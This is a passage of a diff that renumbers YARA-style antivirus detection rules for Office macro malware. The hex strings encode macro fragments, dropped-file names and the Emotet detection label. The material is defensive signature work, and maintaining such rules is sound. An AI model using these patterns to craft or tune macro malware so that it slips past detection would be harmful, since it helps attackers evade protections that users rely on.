3a 4d 69 75 70 6f 72 75 45 78 63 6c 75 73 69 6f 6e 00 01 00 10 00 53 45 4c 45 43 54 20 44 49 53 54 49 4e 43 54 20 01 00 16 00 41 73 20 4e 65 77 20 61 64 6f 64 62 2e 52 65 63 6f 72 64 73 65 74 01 00 08 00 2e 47 65 } //19747 + $a_77_1 = {00 00 8f 5b 00 00 03 00 03 00 03 00 21 23 4d 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4f 39 37 4d 2f 45 6d 6f 74 65 74 2e 52 49 31 31 30 38 21 4d 54 42 00 01 00 0b 01 31 2e 6f 6f 6f 63 63 63 78 78 78 01 00 0b 01 32 2e 6f 6f 6f 63 63 63 78 78 78 01 00 0b 01 33 2e 6f 6f 6f 63 63 63 78 78 78 00 00 8f 5b 00 00 04 00 04 00 04 00 21 23 4d 48 } //21108 + $a_3a_2 = {6e 63 44 6f 63 2e 54 41 41 43 21 4d 54 42 00 01 00 0a 01 5c 69 72 6f 74 6f 2e 74 69 6f 01 00 0b 01 5c 69 72 6f 74 6f 2e 74 69 6f 31 01 00 09 01 5c 62 75 62 6c 2e 63 6d 69 01 00 0d 03 2e 68 74 6d 6c 90 02 04 64 6c 6c 90 00 00 00 8f 5b 00 00 04 00 } //21587 + condition: + ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*21108+(#a_3a_2 & 1)*21587) >=3 + +} +rule _InfrastructureShared_23887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -295500,7 +311983,7 @@ rule _InfrastructureShared_22602{ ((#a_53_0 & 1)*19747+(#a_78_1 & 1)*25443+(#a_61_2 & 1)*21039) >=3 } -rule _InfrastructureShared_22603{ +rule _InfrastructureShared_23888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -295513,7 +311996,7 @@ rule _InfrastructureShared_22603{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*27748+(#a_54_2 & 1)*18467+(#a_00_3 & 1)*1) >=4 } -rule _InfrastructureShared_22604{ +rule _InfrastructureShared_23889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -295525,7 +312008,7 @@ rule _InfrastructureShared_22604{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*0+(#a_54_3 & 1)*18467) >=4 } -rule _InfrastructureShared_22605{ +rule _InfrastructureShared_23890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,64 00 64 00 03 00 21 " @@ -295537,7 +312020,7 @@ rule _InfrastructureShared_22605{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1+(#a_48_2 & 1)*8448) >=100 } -rule _InfrastructureShared_22606{ +rule _InfrastructureShared_23891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295547,7 +312030,7 @@ rule _InfrastructureShared_22606{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22607{ +rule _InfrastructureShared_23892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295557,7 +312040,7 @@ rule _InfrastructureShared_22607{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22608{ +rule _InfrastructureShared_23893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -295568,7 +312051,7 @@ rule _InfrastructureShared_22608{ ((#a_53_0 & 1)*19747+(#a_62_1 & 1)*8736) >=1 } -rule _InfrastructureShared_22609{ +rule _InfrastructureShared_23894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -295580,7 +312063,7 @@ rule _InfrastructureShared_22609{ ((#a_53_0 & 1)*19747+(#a_66_1 & 1)*8235+(#a_3a_2 & 1)*19539) >=1 } -rule _InfrastructureShared_22610{ +rule _InfrastructureShared_23895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -295593,7 +312076,7 @@ rule _InfrastructureShared_22610{ ((#a_53_0 & 1)*19747+(#a_57_1 & 1)*26691+(#a_51_2 & 1)*21076+(#a_73_3 & 1)*30724) >=1 } -rule _InfrastructureShared_22611{ +rule _InfrastructureShared_23896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -295603,7 +312086,7 @@ rule _InfrastructureShared_22611{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_22612{ +rule _InfrastructureShared_23897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -295615,7 +312098,7 @@ rule _InfrastructureShared_22612{ ((#a_53_0 & 1)*19747+(#a_43_1 & 1)*19018+(#a_00_2 & 1)*12851) >=3 } -rule _InfrastructureShared_22613{ +rule _InfrastructureShared_23898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -295628,7 +312111,7 @@ rule _InfrastructureShared_22613{ ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*18031+(#a_00_2 & 1)*4+(#a_3a_3 & 1)*21587) >=4 } -rule _InfrastructureShared_22614{ +rule _InfrastructureShared_23899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -295641,7 +312124,7 @@ rule _InfrastructureShared_22614{ ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*28274+(#a_00_2 & 1)*0+(#a_53_3 & 1)*8993) >=4 } -rule _InfrastructureShared_22615{ +rule _InfrastructureShared_23900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -295653,7 +312136,7 @@ rule _InfrastructureShared_22615{ ((#a_53_0 & 1)*19747+(#a_67_1 & 1)*4+(#a_00_2 & 1)*0) >=4 } -rule _InfrastructureShared_22616{ +rule _InfrastructureShared_23901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 06 00 21 " @@ -295666,7 +312149,7 @@ rule _InfrastructureShared_22616{ ((#a_54_0 & 1)*18467+(#a_52_3 & 1)*21320+(#a_00_4 & 1)*1+(#a_4d_5 & 1)*8448) >=4 } -rule _InfrastructureShared_22617{ +rule _InfrastructureShared_23902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295676,7 +312159,7 @@ rule _InfrastructureShared_22617{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22618{ +rule _InfrastructureShared_23903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295686,7 +312169,7 @@ rule _InfrastructureShared_22618{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22619{ +rule _InfrastructureShared_23904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295696,7 +312179,7 @@ rule _InfrastructureShared_22619{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22620{ +rule _InfrastructureShared_23905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295706,7 +312189,7 @@ rule _InfrastructureShared_22620{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22621{ +rule _InfrastructureShared_23906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295716,7 +312199,7 @@ rule _InfrastructureShared_22621{ ((#a_48_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22622{ +rule _InfrastructureShared_23907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -295727,7 +312210,7 @@ rule _InfrastructureShared_22622{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*656) >=1 } -rule _InfrastructureShared_22623{ +rule _InfrastructureShared_23908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -295738,7 +312221,7 @@ rule _InfrastructureShared_22623{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*29795) >=1 } -rule _InfrastructureShared_22624{ +rule _InfrastructureShared_23909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -295749,7 +312232,7 @@ rule _InfrastructureShared_22624{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_22625{ +rule _InfrastructureShared_23910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -295760,7 +312243,7 @@ rule _InfrastructureShared_22625{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*19538) >=2 } -rule _InfrastructureShared_22626{ +rule _InfrastructureShared_23911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -295774,7 +312257,7 @@ rule _InfrastructureShared_22626{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*21362+(#a_00_2 & 1)*-28928+(#a_00_3 & 1)*-28928+(#a_00_4 & 1)*-28928) >=5 } -rule _InfrastructureShared_22627{ +rule _InfrastructureShared_23912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295784,7 +312267,7 @@ rule _InfrastructureShared_22627{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22628{ +rule _InfrastructureShared_23913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295794,7 +312277,7 @@ rule _InfrastructureShared_22628{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22629{ +rule _InfrastructureShared_23914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295804,7 +312287,7 @@ rule _InfrastructureShared_22629{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22630{ +rule _InfrastructureShared_23915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295814,7 +312297,7 @@ rule _InfrastructureShared_22630{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22631{ +rule _InfrastructureShared_23916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295824,7 +312307,7 @@ rule _InfrastructureShared_22631{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22632{ +rule _InfrastructureShared_23917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -295836,7 +312319,7 @@ rule _InfrastructureShared_22632{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*-28606+(#a_00_3 & 1)*-28928) >=1 } -rule _InfrastructureShared_22633{ +rule _InfrastructureShared_23918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -295848,7 +312331,7 @@ rule _InfrastructureShared_22633{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*-28606+(#a_00_3 & 1)*-28928) >=1 } -rule _InfrastructureShared_22634{ +rule _InfrastructureShared_23919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -295861,7 +312344,7 @@ rule _InfrastructureShared_22634{ ((#a_53_0 & 1)*19747+(#a_68_1 & 1)*6+(#a_01_2 & 1)*3584+(#a_3a_3 & 1)*21587) >=1 } -rule _InfrastructureShared_22635{ +rule _InfrastructureShared_23920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -295872,7 +312355,7 @@ rule _InfrastructureShared_22635{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*28265) >=2 } -rule _InfrastructureShared_22636{ +rule _InfrastructureShared_23921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -295884,7 +312367,7 @@ rule _InfrastructureShared_22636{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*18432+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_22637{ +rule _InfrastructureShared_23922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -295896,7 +312379,7 @@ rule _InfrastructureShared_22637{ ((#a_53_0 & 1)*19747+(#a_4a_1 & 1)*1280+(#a_00_4 & 1)*1) >=5 } -rule _InfrastructureShared_22638{ +rule _InfrastructureShared_23923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295906,7 +312389,7 @@ rule _InfrastructureShared_22638{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22639{ +rule _InfrastructureShared_23924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295916,7 +312399,7 @@ rule _InfrastructureShared_22639{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22640{ +rule _InfrastructureShared_23925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295926,7 +312409,7 @@ rule _InfrastructureShared_22640{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22641{ +rule _InfrastructureShared_23926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -295936,7 +312419,7 @@ rule _InfrastructureShared_22641{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22642{ +rule _InfrastructureShared_23927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -295947,7 +312430,7 @@ rule _InfrastructureShared_22642{ ((#a_53_0 & 1)*19747+(#a_64_1 & 1)*27493) >=1 } -rule _InfrastructureShared_22643{ +rule _InfrastructureShared_23928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -295958,7 +312441,7 @@ rule _InfrastructureShared_22643{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*28229) >=1 } -rule _InfrastructureShared_22644{ +rule _InfrastructureShared_23929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -295969,7 +312452,7 @@ rule _InfrastructureShared_22644{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*1) >=1 } -rule _InfrastructureShared_22645{ +rule _InfrastructureShared_23930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -295981,7 +312464,7 @@ rule _InfrastructureShared_22645{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*2050+(#a_43_2 & 1)*24918) >=1 } -rule _InfrastructureShared_22646{ +rule _InfrastructureShared_23931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -295993,7 +312476,7 @@ rule _InfrastructureShared_22646{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*10354+(#a_5c_3 & 1)*2560) >=1 } -rule _InfrastructureShared_22647{ +rule _InfrastructureShared_23932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -296004,7 +312487,7 @@ rule _InfrastructureShared_22647{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*28496) >=2 } -rule _InfrastructureShared_22648{ +rule _InfrastructureShared_23933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -296015,7 +312498,7 @@ rule _InfrastructureShared_22648{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*26982) >=3 } -rule _InfrastructureShared_22649{ +rule _InfrastructureShared_23934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -296028,7 +312511,7 @@ rule _InfrastructureShared_22649{ ((#a_53_0 & 1)*19747+(#a_55_1 & 1)*1536+(#a_00_2 & 1)*28493+(#a_48_3 & 1)*8993) >=4 } -rule _InfrastructureShared_22650{ +rule _InfrastructureShared_23935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -296039,7 +312522,7 @@ rule _InfrastructureShared_22650{ ((#a_53_0 & 1)*19747+(#a_44_2 & 1)*20993) >=4 } -rule _InfrastructureShared_22651{ +rule _InfrastructureShared_23936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -296052,7 +312535,7 @@ rule _InfrastructureShared_22651{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*19201+(#a_00_2 & 1)*30060+(#a_00_4 & 1)*1) >=5 } -rule _InfrastructureShared_22652{ +rule _InfrastructureShared_23937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296062,7 +312545,7 @@ rule _InfrastructureShared_22652{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22653{ +rule _InfrastructureShared_23938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296072,7 +312555,7 @@ rule _InfrastructureShared_22653{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22654{ +rule _InfrastructureShared_23939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296082,7 +312565,7 @@ rule _InfrastructureShared_22654{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22655{ +rule _InfrastructureShared_23940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296092,7 +312575,7 @@ rule _InfrastructureShared_22655{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22656{ +rule _InfrastructureShared_23941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296102,7 +312585,7 @@ rule _InfrastructureShared_22656{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22657{ +rule _InfrastructureShared_23942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296112,7 +312595,7 @@ rule _InfrastructureShared_22657{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22658{ +rule _InfrastructureShared_23943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -296123,7 +312606,7 @@ rule _InfrastructureShared_22658{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*15664) >=1 } -rule _InfrastructureShared_22659{ +rule _InfrastructureShared_23944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -296135,7 +312618,7 @@ rule _InfrastructureShared_22659{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*16674+(#a_4d_2 & 1)*8448) >=3 } -rule _InfrastructureShared_22660{ +rule _InfrastructureShared_23945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296145,7 +312628,7 @@ rule _InfrastructureShared_22660{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22661{ +rule _InfrastructureShared_23946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296155,7 +312638,7 @@ rule _InfrastructureShared_22661{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22662{ +rule _InfrastructureShared_23947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296165,7 +312648,7 @@ rule _InfrastructureShared_22662{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22663{ +rule _InfrastructureShared_23948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -296176,7 +312659,7 @@ rule _InfrastructureShared_22663{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0) >=1 } -rule _InfrastructureShared_22664{ +rule _InfrastructureShared_23949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -296187,7 +312670,7 @@ rule _InfrastructureShared_22664{ ((#a_53_0 & 1)*19747+(#a_5f_1 & 1)*29813) >=1 } -rule _InfrastructureShared_22665{ +rule _InfrastructureShared_23950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 01 00 21 " @@ -296197,7 +312680,7 @@ rule _InfrastructureShared_22665{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_22666{ +rule _InfrastructureShared_23951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -296208,7 +312691,7 @@ rule _InfrastructureShared_22666{ ((#a_53_0 & 1)*19747+(#a_55_1 & 1)*656) >=2 } -rule _InfrastructureShared_22667{ +rule _InfrastructureShared_23952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -296219,7 +312702,7 @@ rule _InfrastructureShared_22667{ ((#a_53_0 & 1)*19747+(#a_75_1 & 1)*28265) >=2 } -rule _InfrastructureShared_22668{ +rule _InfrastructureShared_23953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -296232,7 +312715,7 @@ rule _InfrastructureShared_22668{ ((#a_53_0 & 1)*19747+(#a_4c_2 & 1)*21761+(#a_70_3 & 1)*29264+(#a_74_4 & 1)*3842) >=5 } -rule _InfrastructureShared_22669{ +rule _InfrastructureShared_23954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296242,7 +312725,7 @@ rule _InfrastructureShared_22669{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22670{ +rule _InfrastructureShared_23955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296252,7 +312735,7 @@ rule _InfrastructureShared_22670{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22671{ +rule _InfrastructureShared_23956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296262,7 +312745,7 @@ rule _InfrastructureShared_22671{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22672{ +rule _InfrastructureShared_23957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -296274,7 +312757,7 @@ rule _InfrastructureShared_22672{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*30053+(#a_00_2 & 1)*4) >=1 } -rule _InfrastructureShared_22673{ +rule _InfrastructureShared_23958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -296286,7 +312769,7 @@ rule _InfrastructureShared_22673{ ((#a_53_0 & 1)*19747+(#a_04_1 & 1)*-28606+(#a_6e_2 & 1)*19788) >=3 } -rule _InfrastructureShared_22674{ +rule _InfrastructureShared_23959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -296299,7 +312782,7 @@ rule _InfrastructureShared_22674{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*1+(#a_62_2 & 1)*0+(#a_2e_3 & 1)*29281) >=4 } -rule _InfrastructureShared_22675{ +rule _InfrastructureShared_23960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -296313,7 +312796,7 @@ rule _InfrastructureShared_22675{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*16741+(#a_6c_2 & 1)*29953+(#a_22_3 & 1)*8736+(#a_43_4 & 1)*18945) >=5 } -rule _InfrastructureShared_22676{ +rule _InfrastructureShared_23961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -296327,7 +312810,7 @@ rule _InfrastructureShared_22676{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*14882+(#a_49_2 & 1)*20782+(#a_63_3 & 1)*0+(#a_65_4 & 1)*25902) >=5 } -rule _InfrastructureShared_22677{ +rule _InfrastructureShared_23962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -296342,7 +312825,7 @@ rule _InfrastructureShared_22677{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*13164+(#a_43_2 & 1)*18945+(#a_6e_3 & 1)*28021+(#a_02_4 & 1)*30469+(#a_73_5 & 1)*21076) >=6 } -rule _InfrastructureShared_22678{ +rule _InfrastructureShared_23963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296352,7 +312835,7 @@ rule _InfrastructureShared_22678{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22679{ +rule _InfrastructureShared_23964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296362,7 +312845,7 @@ rule _InfrastructureShared_22679{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22680{ +rule _InfrastructureShared_23965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296372,7 +312855,7 @@ rule _InfrastructureShared_22680{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22681{ +rule _InfrastructureShared_23966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -296383,7 +312866,7 @@ rule _InfrastructureShared_22681{ ((#a_53_0 & 1)*19747+(#a_5c_1 & 1)*11808) >=1 } -rule _InfrastructureShared_22682{ +rule _InfrastructureShared_23967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -296397,7 +312880,7 @@ rule _InfrastructureShared_22682{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*11+(#a_74_2 & 1)*8302+(#a_6d_3 & 1)*25390+(#a_20_4 & 1)*656) >=1 } -rule _InfrastructureShared_22683{ +rule _InfrastructureShared_23968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -296409,7 +312892,7 @@ rule _InfrastructureShared_22683{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*11+(#a_6f_2 & 1)*11890) >=3 } -rule _InfrastructureShared_22684{ +rule _InfrastructureShared_23969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -296421,7 +312904,7 @@ rule _InfrastructureShared_22684{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*26469+(#a_65_2 & 1)*28524) >=3 } -rule _InfrastructureShared_22685{ +rule _InfrastructureShared_23970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -296433,7 +312916,7 @@ rule _InfrastructureShared_22685{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*8992+(#a_6f_2 & 1)*17152) >=4 } -rule _InfrastructureShared_22686{ +rule _InfrastructureShared_23971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -296446,7 +312929,7 @@ rule _InfrastructureShared_22686{ ((#a_53_0 & 1)*19747+(#a_53_2 & 1)*25857+(#a_00_3 & 1)*1+(#a_4d_4 & 1)*8448) >=5 } -rule _InfrastructureShared_22687{ +rule _InfrastructureShared_23972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -296456,7 +312939,7 @@ rule _InfrastructureShared_22687{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_22688{ 